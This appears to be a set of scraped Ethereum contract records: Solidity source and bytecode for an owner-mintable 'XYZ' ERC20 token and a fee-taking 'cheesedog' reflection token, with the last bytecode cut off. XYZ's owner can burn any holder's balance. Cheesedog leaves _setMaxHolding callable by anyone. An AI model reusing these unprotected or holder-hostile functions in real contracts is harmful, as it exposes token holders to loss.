function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract XYZ is ERC20, Ownable { constructor () public ERC20 ("XYZ Token", "XYZ", 18) { _mint(msg.sender, 10000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220488598e46c079baddd5fa124e9153ef38a2fb17ce1ccc9e91b3f6c8c1d80698a64736f6c634300060a0033
{"success": true, "error": null, "results": {}}
7,395
0xC0b2Ace1e6d364055Ae9d2091fBc8f0FcFaA26Af
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract cheesedog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e8 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"cheesedog"; string private constant _symbol = unicode"cheesedog"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 12; uint256 private _feeRate = 13; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; uint private holdingCapPercent = 2; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } if (to != uniswapV2Pair && to != address(this)) require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached."); // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 12; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (9 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 12; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 2000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (180 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function _getMaxHolding() internal view returns (uint256) { return (totalSupply() * holdingCapPercent) / 100; } function _setMaxHolding(uint8 percent) external { require(percent > 0, "Max holding cap cannot be less than 1"); holdingCapPercent = percent; } }
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613083565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b32565b61057e565b6040516101af9190613068565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae3565b6105ac565b6040516102179190613068565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a5565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc0565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c38565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6e565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a55565b6108d0565b60405161032591906132a5565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a55565b610999565b60405161037991906132a5565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9a565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613083565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b32565b610ba3565b6040516104239190613068565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613068565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a55565b610bd8565b60405161048b91906132a5565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6e565b6040516104e491906132a5565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa7565b610da0565b60405161052191906132a5565b60405180910390f35b34801561053657600080fd5b5061053f610e27565b005b60606040518060400160405280600981526020017f636865657365646f670000000000000000000000000000000000000000000000815250905090565b600061059261058b611337565b848461133f565b6001905092915050565b600067016345785d8a0000905090565b60006105b984848461150a565b61067a846105c5611337565b61067585604051806060016040528060288152602001613a1160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611337565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3b9092919063ffffffff16565b61133f565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611337565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613165565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a5565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613285565b60405180910390fd5b8060ff1660158190555050565b6107e0611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c5565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613068565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611337565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611e9f565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0b565b9050919050565b6109f2611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f636865657365646f670000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611337565b848461150a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611337565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f79565b50565b610cb1611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c5565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555060b442610d66919061338a565b601481905550565b6000610d9b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2f611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb3906131c5